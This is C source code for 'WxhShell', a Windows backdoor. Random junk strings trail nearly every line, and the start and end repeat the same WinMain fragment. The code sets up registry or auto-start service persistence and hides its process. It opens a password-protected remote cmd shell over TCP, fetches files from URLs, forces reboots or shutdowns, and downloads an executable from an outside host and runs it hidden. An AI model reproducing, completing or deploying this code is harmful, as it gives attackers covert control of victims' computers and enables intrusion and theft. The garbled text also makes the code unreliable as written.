if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M`vyTuO3SO
WinExec(wscfg.ws_filenam,SW_HIDE); Y>BP?l
} m 41t(i
'Hw4j:pS
if(!OsIsNt) { nBN&.+3t
// 如果时win9x，隐藏进程并且设置为注册表启动 @wp4|G
HideProc(); [|[>}z:
StartWxhshell(lpCmdLine); q]\X~ 9#
} SHD^}?-|
else . w H*sb
if(StartFromService()) Y#FO5O%W
// 以服务方式启动 +E/y ~s
StartServiceCtrlDispatcher(DispatchTable); Q6IQV0{p
else ,LZX@'5
// 普通方式启动 =p@8z /u
StartWxhshell(lpCmdLine); ;Wc4qJ.@
(vc|7DX M
return 0; iEIg:
} ?7[alV~
'9s5OTkN ;
w5KPB5/zu
1f#mHt:(
=========================================== fr[3:2g-_
r[_4Lo@G
R^*K6Ad
dRI^@n
-h#mn2U~3r
N j4IQ<OV
" ,Q/Ac{C
W2Luz;(U
#include <stdio.h> :B|Dr v
#include <string.h> Lq (ZcEKo
#include <windows.h> LZ U$
#include <winsock2.h> |E@djosyC
#include <winsvc.h> Xl_Uz8Hp
#include <urlmon.h> rR,2UZR
TeQNFo^_8
#pragma comment (lib, "Ws2_32.lib") 6Pn8f
#pragma comment (lib, "urlmon.lib") p'n4)I2#
4v'A\~ZU
#define MAX_USER 100 // 最大客户端连接数 ^V3v{>D>
#define BUF_SOCK 200 // sock buffer 0)!Ll*L!p
#define KEY_BUFF 255 // 输入 buffer &\C [@_
93O;+Z5J
#define REBOOT 0 // 重启 O7t(,uox3y
#define SHUTDOWN 1 // 关机 Vp}^NNYf
&v!WVa?
#define DEF_PORT 5000 // 监听端口 pV(lhDNoQ
KCuGu}
#define REG_LEN 16 // 注册表键长度 B*1W`f
#define SVC_LEN 80 // NT服务名长度 nkDy!"K
|3hY6aty
// 从dll定义API =Z G:x<Hg
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S/[E8T"
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *[+)7
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RDM`9&V!jp
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v4Ga0]VN$8
RthT\%R
// wxhshell配置信息 WO</Mw
struct WSCFG { LN2D
int ws_port; // 监听端口 <3okiV=ox
char ws_passstr[REG_LEN]; // 口令 ^pnG0(9
int ws_autoins; // 安装标记, 1=yes 0=no Avlz=k1*
char ws_regname[REG_LEN]; // 注册表键名 C\ZkGX
char ws_svcname[REG_LEN]; // 服务名 !? 5U|
char ws_svcdisp[SVC_LEN]; // 服务显示名 sZ&G%o
char ws_svcdesc[SVC_LEN]; // 服务描述信息 %\$;(#h
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B>y9fI
int ws_downexe; // 下载执行标记, 1=yes 0=no jZoNi
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LjB;;&VCn
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h*B|fy4K9U
!ZRs;UZ>o
}; TBrGA E
sj?3M@l95W
// default Wxhshell configuration AJ^#eY5
struct WSCFG wscfg={DEF_PORT, %wptZ"2M
"xuhuanlingzhe", k0-G$|QgIp
1, ra N)8w}-
"Wxhshell", qmy%J
"Wxhshell", z*$q8Z&7rg
"WxhShell Service", ,m<H-gwa
"Wrsky Windows CmdShell Service", dq1:s1
"Please Input Your Password: ", #-% A[7Cdp
1, JPn$FQD
"http://www.wrsky.com/wxhshell.exe", k>jbcSY(z<
"Wxhshell.exe" W5L iXM
}; $_H`
I zbU)ud
// 消息定义模块 KInk^`C/H
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fFvF\
char *msg_ws_prompt="\n\r? for help\n\r#>"; OS|>t./U
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C[!MS5
char *msg_ws_ext="\n\rExit."; wCf~O'XLw
char *msg_ws_end="\n\rQuit."; {O<l[|Ip
char *msg_ws_boot="\n\rReboot..."; r7]zQIE
char *msg_ws_poff="\n\rShutdown..."; c#IYFTz
char *msg_ws_down="\n\rSave to "; b1XRC`Gy
PQKaqv}N
char *msg_ws_err="\n\rErr!"; .`<@m]m-
char *msg_ws_ok="\n\rOK!"; SUKxkc(
)Or.;
char ExeFile[MAX_PATH]; :'F}Dy
int nUser = 0; 38DT2<qC
HANDLE handles[MAX_USER]; !+)AeDc:j
int OsIsNt; z@Q@^ &0Mr
5 <wnva
SERVICE_STATUS serviceStatus; ,j:|w+l
SERVICE_STATUS_HANDLE hServiceStatusHandle; +ISz?~8
h7*W*Bd
// 函数声明 OA/WtQ5
int Install(void); |tR OL9b
int Uninstall(void); v:Tzv^
int DownloadFile(char *sURL, SOCKET wsh); r_e7a6
int Boot(int flag); =0;}K@(J
void HideProc(void); uEyH2QO
int GetOsVer(void); gBh;=vOD
int Wxhshell(SOCKET wsl); I+>%uShm
void TalkWithClient(void *cs); Ofm%:}LV
int CmdShell(SOCKET sock); n+lOb
int StartFromService(void); yme^b ;a
int StartWxhshell(LPSTR lpCmdLine); {!|}=45Z
z@|GC_L
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;,i]w"*
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i wxVl)QL
~8"8w(CG*I
// 数据结构和表定义 ay "'#[
SERVICE_TABLE_ENTRY DispatchTable[] = \I"Z2N>^z
{ R8rfM?"W
{wscfg.ws_svcname, NTServiceMain}, \0lnxLA
{NULL, NULL} Ev7J+TmXM
}; o9xlu.QL{c
2aJS{[
// 自我安装 oAWzYu(v
int Install(void) O=SkAsim
{ wC `+
char svExeFile[MAX_PATH]; /kt2c[9
HKEY key; Y]]}*8
strcpy(svExeFile,ExeFile); PP:(EN1
pfu1O6R
// 如果是win9x系统，修改注册表设为自启动 (x^BKnZ
if(!OsIsNt) { >5s6u`\
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OpM(j&
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I;VuW
RegCloseKey(key); yaq'Lt`
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A)%A!
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [,2|Flf e
RegCloseKey(key); bAKiq}xG%i
return 0; Ig3;E+*>
} :qChMU|Y6
} d*)CT?d&
} 54 >-
else { 7jnIv];i
zIP6\u
// 如果是NT以上系统，安装为系统服务 ,g%&|FAP
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^c:Fy+fb
if (schSCManager!=0) ,`ZYvF^%
{ >``MR%E:<
SC_HANDLE schService = CreateService *tm0R>?!
( ~"UV]Udn
schSCManager, %Y!Yvw^&P(
wscfg.ws_svcname, P!"&%d
wscfg.ws_svcdisp, 6mKjau{r_
SERVICE_ALL_ACCESS, )_/5*Ly@
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bdGIF'p%
SERVICE_AUTO_START, [D*UT#FM
SERVICE_ERROR_NORMAL, @as"JAN
svExeFile, k)TSR5A
NULL, Q#nOJ(KV
NULL, JyR/1 W
NULL, sKlDu
NULL, ooUk O
NULL N^Bo .U0\
); -V:"l
if (schService!=0) t3dlS`O
{ Bz5-ITX
CloseServiceHandle(schService); $Y5)(
CloseServiceHandle(schSCManager); Gs3LB/8?
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :n /@z4#
strcat(svExeFile,wscfg.ws_svcname); |&Ym@Jyj
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { detwa}h[0
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f4L`.~b'hb
RegCloseKey(key); TEDAb>
return 0; KiJT!moB
} O(+phRwJ
} 4lBU#V7
CloseServiceHandle(schSCManager); D@!=d@V.
} wm+/e#'&
} ?_I[,N?@41
EvOJ~'2 Y%
return 1; J!:SPQ
} eds26(
4wrk2x[
// 自我卸载 XoA+MuDzpo
int Uninstall(void) ,=l7:n
{ }1>[
HKEY key; 2(/g}
i+gQE!
if(!OsIsNt) { ezPz<iZ\N
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v%fu
RegDeleteValue(key,wscfg.ws_regname); $V1;la!
RegCloseKey(key); {dmj/6Lc
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uL[.ND2._&
RegDeleteValue(key,wscfg.ws_regname); ei rzYt
RegCloseKey(key); 4C FB"?n0
return 0; bT&: fHc
} AE} )o)B
} {'U Rz[g
} EY \H=@A
else { ;\p KDPr
%'[&U#-
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1 5A*7|
if (schSCManager!=0) _1U1(^)
{ n5{Xj:}
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uh][@35 p
if (schService!=0) 1&e} ms
{ =C~/7N,lW]
if(DeleteService(schService)!=0) { b!)<-|IK
CloseServiceHandle(schService); =|9H
CloseServiceHandle(schSCManager); 9'r:~O
return 0; R9B&dvG
} 9Lr'YRl[W
CloseServiceHandle(schService); `3:.??7N
} sqW* pi
CloseServiceHandle(schSCManager); %Qj;,#z
} %Q.&ZhB
} ZcaX'5}!S
F+@5C:<?
return 1; t*?0D\b 2
} %JLk$sP9y`
u?9" jX
// 从指定url下载文件 !%c'$f/
int DownloadFile(char *sURL, SOCKET wsh) .-<k>9S7_
{ ,mj@sC>
HRESULT hr; ~q~MoN<R
char seps[]= "/"; w+N> h;j
char *token; aXL{TD:]
char *file; {RF-sqce
char myURL[MAX_PATH]; $ibuWb"a
char myFILE[MAX_PATH]; Q9Q|lO
+).0cs0k5
strcpy(myURL,sURL); *cEob b
token=strtok(myURL,seps); DZ_lW
while(token!=NULL) nB!&Zq
{ $#]]K
file=token; L:z?Zt)|
token=strtok(NULL,seps); -N"&/)
} 1|ra&(=)
mdw7}%5V
GetCurrentDirectory(MAX_PATH,myFILE); %DdJ ^qHI
strcat(myFILE, "\\"); 3YZs+d.;ib
strcat(myFILE, file); }X=[WCKU
send(wsh,myFILE,strlen(myFILE),0); ?yj6CL(,
send(wsh,"...",3,0); Pcw6!xH
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "U\4:k`:
if(hr==S_OK) A*um{E+
return 0; kS!viJwtT
else !&"<oPjr+
return 1; t 89!Ihk
Ovj^IjG-`
} $_x^lr
mVR P~:+
// 系统电源模块 *guoWPA|Ij
int Boot(int flag) NM06QzE
{ ZfB" E
HANDLE hToken; YJo["Q
TOKEN_PRIVILEGES tkp; PP!SK2u"L
t1%_DPD%W
if(OsIsNt) { qs QNjt
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +Xemf?
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T,VY.ep/
tkp.PrivilegeCount = 1; &cu lbcz
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )4&cph';
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~t~-A,1
if(flag==REBOOT) { oIefw:FE,a
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;vIrGZV<
return 0; u&n' ITH
} uh?>- ]r`
else { BN4_:
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $k2*[sn,
return 0; tuhA 9}E
} Q*b]_0Rb
} w.0qp)}
else { <^lRUw
if(flag==REBOOT) { -k"^o!p
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;W^o@*i{>
return 0; #cCL.p"]
} u5Ftu?t
else { >2Kh0rIH
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VL*ovD%-
return 0; Et/&^&=\-
} !Uq^7Mw
} smry2*g
TEaJG9RU>v
return 1; Ck!VV2U#
} +*hm-lv?
:Cp'm'omb
// win9x进程隐藏模块 Lg+G; W
void HideProc(void) 4Z/Q=Mq2
{ G^`1]?
\xS&v7b
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B}&xaY
if ( hKernel != NULL ) %y%j*B!%
{ EeF'&zE-
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ANps1w#TP
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nTz6LVF
FreeLibrary(hKernel); rhb@FE)Mc
} ZAXN6h
Y2?.}ZO
return; 9s_,crq5
} #jxe%2'Ot
q2et|QCru
// 获取操作系统版本 fOMvj%T@2
int GetOsVer(void) I:d[Q s
{ :=[XW?L%x
OSVERSIONINFO winfo; iX4Iu3
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z~>pVs
GetVersionEx(&winfo); |K|h+fgG6*
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g'|MA~4yB
return 1; _`pD`7:aI^
else H[='~%D
return 0; [mPjP%{=@
} @!8ZPiW<
d:i;z9b@to
// 客户端句柄模块 Jyqc2IH
int Wxhshell(SOCKET wsl) #Z<a
{ 6KOlY>m]
SOCKET wsh; *Otg*,\
struct sockaddr_in client; mI>,.&eo
DWORD myID; ]TyisaT
&JtV'@>v
while(nUser<MAX_USER) ^tCd L@$AS
{ 78/N
int nSize=sizeof(client); *>+,(1Fz
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E_bO9nRHV
if(wsh==INVALID_SOCKET) return 1; Y "VY%S^
{U_$&f9s
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R?p00
if(handles[nUser]==0) {4-[r#R<M
closesocket(wsh); "|HDGA5
else q=9`06
nUser++; zD?K>I=
} Iy6$7~
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); //4Xq8y
g{P%s'%*
return 0; P8?Fm`
} pm9%%M$
gB4U*D0[e~
// 关闭 socket +a*^{l}AST
void CloseIt(SOCKET wsh) (S v~2
{ bHI<B)=`
closesocket(wsh); Zw~+Pb
nUser--; wX*K]VMn
ExitThread(0); :,DM*zBVp
} Q pmsOp|
5Fz.Y}
// 客户端请求句柄 Q"7Gy<
void TalkWithClient(void *cs) (~J^3O]Fo
{ 4DOK4{4?5
<Engi!
SOCKET wsh=(SOCKET)cs; tu5*Qp\
char pwd[SVC_LEN]; H~E(JLcU
char cmd[KEY_BUFF]; EKzAd
char chr[1]; r]0 lo-
int i,j; 5A4&+rdU
~D|5u\D-
while (nUser < MAX_USER) { +EAT:,
Uk,gJR
if(wscfg.ws_passstr) { pm6>_Kz
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (X?/"lC)
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q`G,L(
//ZeroMemory(pwd,KEY_BUFF); P06RJE
i=0; ?]4>rl}
while(i<SVC_LEN) { o,P.&m{?
]]"jw{W}A
// 设置超时 %H+\>raLz
fd_set FdRead; b%Eei2Gm%
struct timeval TimeOut; {b@KYR9K
FD_ZERO(&FdRead); Glpe/At
FD_SET(wsh,&FdRead); np4+"
TimeOut.tv_sec=8; =?-ye!w
TimeOut.tv_usec=0; k`x=D5s\
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YOJ6w
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }`NU@O#
kVD(Q~<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0V!l,pg
pwd=chr[0]; 1DA1N<'
if(chr[0]==0xd || chr[0]==0xa) { {Ions~cO)
pwd=0; T_lsGu/
break; ymNnkFv
} mB\C?=_
i++; MBXBog7U
} ~%2pp~1K
sIv)'
// 如果是非法用户，关闭 socket `~W-Xx
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7^Yk`Z?|a
} wm+})SOX9
Rtjqx6-B;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I=!rbF;Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l]]l
mP(kcMT"
while(1) { "rAY.E]
oY=q4D
ZeroMemory(cmd,KEY_BUFF); s<]&*e&}?
Z,.G%"i3C
// 自动支持客户端 telnet标准 ?r2#.W
j=0; $8crN$ye
while(j<KEY_BUFF) { 7jJbo]&
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \))=gu)I
cmd[j]=chr[0]; vhb)2n
if(chr[0]==0xa || chr[0]==0xd) { u1c%T@w>Lz
cmd[j]=0; 1HPx|nmE]
break; leCVK.
} @;?T~^nGj
j++; dHk{.n^p
} PG]%Bv57
Gx 72
// 下载文件 nJbbzQ,e
if(strstr(cmd,"http://")) { (S^8UV
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \-*eL;qP
if(DownloadFile(cmd,wsh)) wI5Yn h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YQ0)5}
else H-p;6C<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K)_WL]RJ.4
} \`w4|T
else { P5gN#G
oW;6h.
switch(cmd[0]) { ]LZ`LL'#Y_
k;5Pom
// 帮助 eVl'\aUd
case '?': { -TV?E%r
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cc44R|Kr$$
break; -<#!DjV6(
} hwqbi "o
// 安装 =KT7nl
case 'i': { -ti{6:H8
if(Install()) =\{\g7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); **>/}.%?K
else /xJqJ_70X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LZ~"VV^
break; R3X{:1{j
} {w <+_++
// 卸载 pZZf[p^s|
case 'r': { RL[E X5U
if(Uninstall()) HWm#t./
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Cg$,#H
else 4m-I5!=O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _3Cn{{ A0
break; U,Mx@KdV
} ]P[%Mhg^
// 显示 wxhshell 所在路径 0ji q-3V)
case 'p': { ?U7) XvQ
char svExeFile[MAX_PATH]; aTzDew
strcpy(svExeFile,"\n\r"); _P?\.W@
strcat(svExeFile,ExeFile); x#C@8Bxq=
send(wsh,svExeFile,strlen(svExeFile),0); :|1.seLQ
break; Q# ?wXX47
} M=]5WZO~A
// 重启 X_$a,"'~)
case 'b': { jw ,izxia
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~np,_yI
if(Boot(REBOOT)) nNmsr=y5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =IKEb#R/
else { },[;O^Do^{
closesocket(wsh); Pj?Dmk~
ExitThread(0); st'D
} .C]cK%OO N
break; 3^=+gsc
} jKIc09H|
// 关机 4Tct
case 'd': { l?*r5[O>n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZlKw_Sq:
if(Boot(SHUTDOWN)) W9zE{)Sc~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iK_c.b
else { MK}-<&v
closesocket(wsh); NV r0M?`4
ExitThread(0); +{53a_q
} "gW7<ilw
break; 8%RI7Mg
} D,ly#Nn
// 获取shell -p-0;Hy
case 's': { ->lu#;A5
CmdShell(wsh); H g5++.Bp
closesocket(wsh); %}>dqUyQ
ExitThread(0); /Y^8SO4
break; |vFj*XU
} `3q;~ 9
// 退出 v0l_w
case 'x': { $WW)bP d4^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D';eTy Y
CloseIt(wsh); 'YSuQP>
break; ;,OfJ'q^
} ;\%sEcpT
// 离开 xeTgV&$@
case 'q': { l|/:Ot
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z"I/ NGiU
closesocket(wsh); eUO9a~<
WSACleanup(); Z%gx%$
exit(1); >P. 'CU
break; f0Hq8qAF;^
} ?HHzQ4w%{
} 99 wc
} sNU}n<J-
Cef:tdk7
// 提示信息 #<CIFVH
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BC\S/5~k
} +1;'B4
} \.s`n2.w
,R wfp=*E
return; s.jO<{
} ,7d|O}B
o`r(`6@
// shell模块句柄 YTyX`Y#
int CmdShell(SOCKET sock) v vE\
{ `3iQZui
STARTUPINFO si; 1x >iz `A
ZeroMemory(&si,sizeof(si)); %kU'hzLg
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q9}m!*8e
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '=cKU0 G#
PROCESS_INFORMATION ProcessInfo; `EMi0hm&H
char cmdline[]="cmd"; *i<\iMoW
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FEm=w2
return 0; nwM)K
} XrN- 2HTV
B/eaqJ
// 自身启动模式 PCfo
int StartFromService(void) :mv`\
{ _dU P7H (
typedef struct ;6DnId2Zh
{ xX@FWAj
DWORD ExitStatus; N?23 m`3
DWORD PebBaseAddress; t;#Gmo
DWORD AffinityMask; zX5G;,_
DWORD BasePriority; fnH3CE
ULONG UniqueProcessId; #o[\Dwu
ULONG InheritedFromUniqueProcessId; M$&>5n7
} PROCESS_BASIC_INFORMATION; #s+X+fe
E8-53"m
PROCNTQSIP NtQueryInformationProcess; Rrqg[F+
kR6A3?[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F!8=FTb
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^@.G,u
vD=%`G[m
HANDLE hProcess; H+cNX\,
PROCESS_BASIC_INFORMATION pbi; `Q9+k<
WD?Jk9_F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T{-2fp8r[
if(NULL == hInst ) return 0; 3eg5oAZ)G8
W^xZ+]
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |f NMs
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |Cf mcz(56
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =,Ttw>
-i_En^Fi
if (!NtQueryInformationProcess) return 0; ~b8a^6:R"
]C *10S`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AQ@v>wr}
if(!hProcess) return 0; NJ$e6$g)
_bI+QC#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S;}qLjT
&`@M8-m#F
CloseHandle(hProcess); /4C`k=>
%ejeyc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3Xdn62[&
if(hProcess==NULL) return 0; R [9w
exphe+b
HMODULE hMod; 7c::Qf[|
char procName[255]; QHQj/)J8
unsigned long cbNeeded; %3,xaVN
s)tpr
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $^Ca:duk
/2h][zrZ[.
CloseHandle(hProcess); G?[-cNdk
%N{sD[^
if(strstr(procName,"services")) return 1; // 以服务启动 QGPR.<D)B
!0dX@V'r
return 0; // 注册表启动 K^ 6+Ily
} v>at/ef
v*L '{3f
// 主模块 Ed=}PrE
int StartWxhshell(LPSTR lpCmdLine) &s-VSu7
{ [.U^Wrd
SOCKET wsl; =>YvA>izE
BOOL val=TRUE; !`C%Fkq
int port=0; T~:_}J
struct sockaddr_in door; GYqJ!,
cQ,9Rnfl,
if(wscfg.ws_autoins) Install(); h[H%:743
Ej|A ; &E
port=atoi(lpCmdLine); m0Z7N5v)
"%kGRHq
if(port<=0) port=wscfg.ws_port; c *1S}us
RHXvee55
WSADATA data; 1"$R 3@s;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tDU}rI8?
;z0"Ox=7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; oeGS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YOKR//|3
door.sin_family = AF_INET; N ^f}ui i
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ps7_-cH
door.sin_port = htons(port); ZvyjMLf
;o%:7&
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IQoH@l&Xk
closesocket(wsl); sU*3\
return 1; UKYupLu5
} Zsk?QS FE
s*+ZYPk
if(listen(wsl,2) == INVALID_SOCKET) { Z~RdFC
closesocket(wsl); tGqQJT#mr7
return 1; 54wM8'+
} .xnQd^qoac
Wxhshell(wsl); r\bq[9dX>
WSACleanup(); ] ?9t-
um}N%5GAa
return 0; sZEgsrJh
E- KK
} @>CG3`?}
b.,$# D{p
// 以NT服务方式启动 !?n50
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7BK46x
{ 4)E|&)-fu8
DWORD status = 0; }8 \|1@09
DWORD specificError = 0xfffffff; uegb;m
@LHtt/&
serviceStatus.dwServiceType = SERVICE_WIN32; F_ _H(}d
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?KCxrzf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x57'Cg \
serviceStatus.dwWin32ExitCode = 0; 2| $k`I,
serviceStatus.dwServiceSpecificExitCode = 0; y\@SC\jk|
serviceStatus.dwCheckPoint = 0; oc=tI@W
serviceStatus.dwWaitHint = 0; s8yCC#H"
`:R-[>5P8
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?.~]mvOR
if (hServiceStatusHandle==0) return; bWUS9WT
sxt`0oE
status = GetLastError(); Gzj3Ka
if (status!=NO_ERROR) &R0OeRToUb
{ Jtpa@!M
serviceStatus.dwCurrentState = SERVICE_STOPPED; &EGY+p|2Y
serviceStatus.dwCheckPoint = 0; n)Hk8)^8
serviceStatus.dwWaitHint = 0; < )Alb\Z
serviceStatus.dwWin32ExitCode = status; (Q\\Gw
serviceStatus.dwServiceSpecificExitCode = specificError; I=K[SY,]9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4%%B0[Wo_O
return; Xv8fPP(
} oAC^4-Ld
i@Vs4E[b
serviceStatus.dwCurrentState = SERVICE_RUNNING; U* 4{"
serviceStatus.dwCheckPoint = 0; &1oaZY w
serviceStatus.dwWaitHint = 0; >]^>gUmq
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Io09W^
} 98jD"*W5
E+:.IuXW$
// 处理NT服务事件，比如：启动、停止 G~O" /WM
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2[XltjO
{ 0&f\7z
switch(fdwControl) ~DK F%}E
{ }]tFz}E\
case SERVICE_CONTROL_STOP: l~4_s/
serviceStatus.dwWin32ExitCode = 0; ::0aY;D2
serviceStatus.dwCurrentState = SERVICE_STOPPED; G^ K*+
serviceStatus.dwCheckPoint = 0; AmgWj/>
serviceStatus.dwWaitHint = 0; m&,bC)}
{ j,Pwket
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m\1VF\
} ~NA1SZ{Y+
return; !+5C{Hs2
case SERVICE_CONTROL_PAUSE: 4Fh&V{`W
serviceStatus.dwCurrentState = SERVICE_PAUSED; `3]Rg0g&Xe
break; dG"K/|
case SERVICE_CONTROL_CONTINUE: $R8>u#K!
serviceStatus.dwCurrentState = SERVICE_RUNNING; <&KLo>B^
break; SHytyd
case SERVICE_CONTROL_INTERROGATE: Q +R3H,
break; U2VV[e)Z!
}; >pN;J)H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7N!tp,?
} _w\Y{(k
q"P5,:W
// 标准应用程序主函数 Q%+}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #aj|vox}
{ ^}>zYt
q^)=F_QvG
// 获取操作系统版本 p1Y+
OsIsNt=GetOsVer(); &zO3qt6
GetModuleFileName(NULL,ExeFile,MAX_PATH); -3u@hp_
/rn"
// 从命令行安装 Gg'<Q.H
if(strpbrk(lpCmdLine,"iI")) Install(); MJy;GzJ O
OiYNH~hv
// 下载执行文件 P\Ai|"=&]
if(wscfg.ws_downexe) { j l}!T[5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fecx';_1`
WinExec(wscfg.ws_filenam,SW_HIDE); mx:J>SPA8
} 8e]z6:}'E
>0kmRVd
if(!OsIsNt) { Czq1 kz
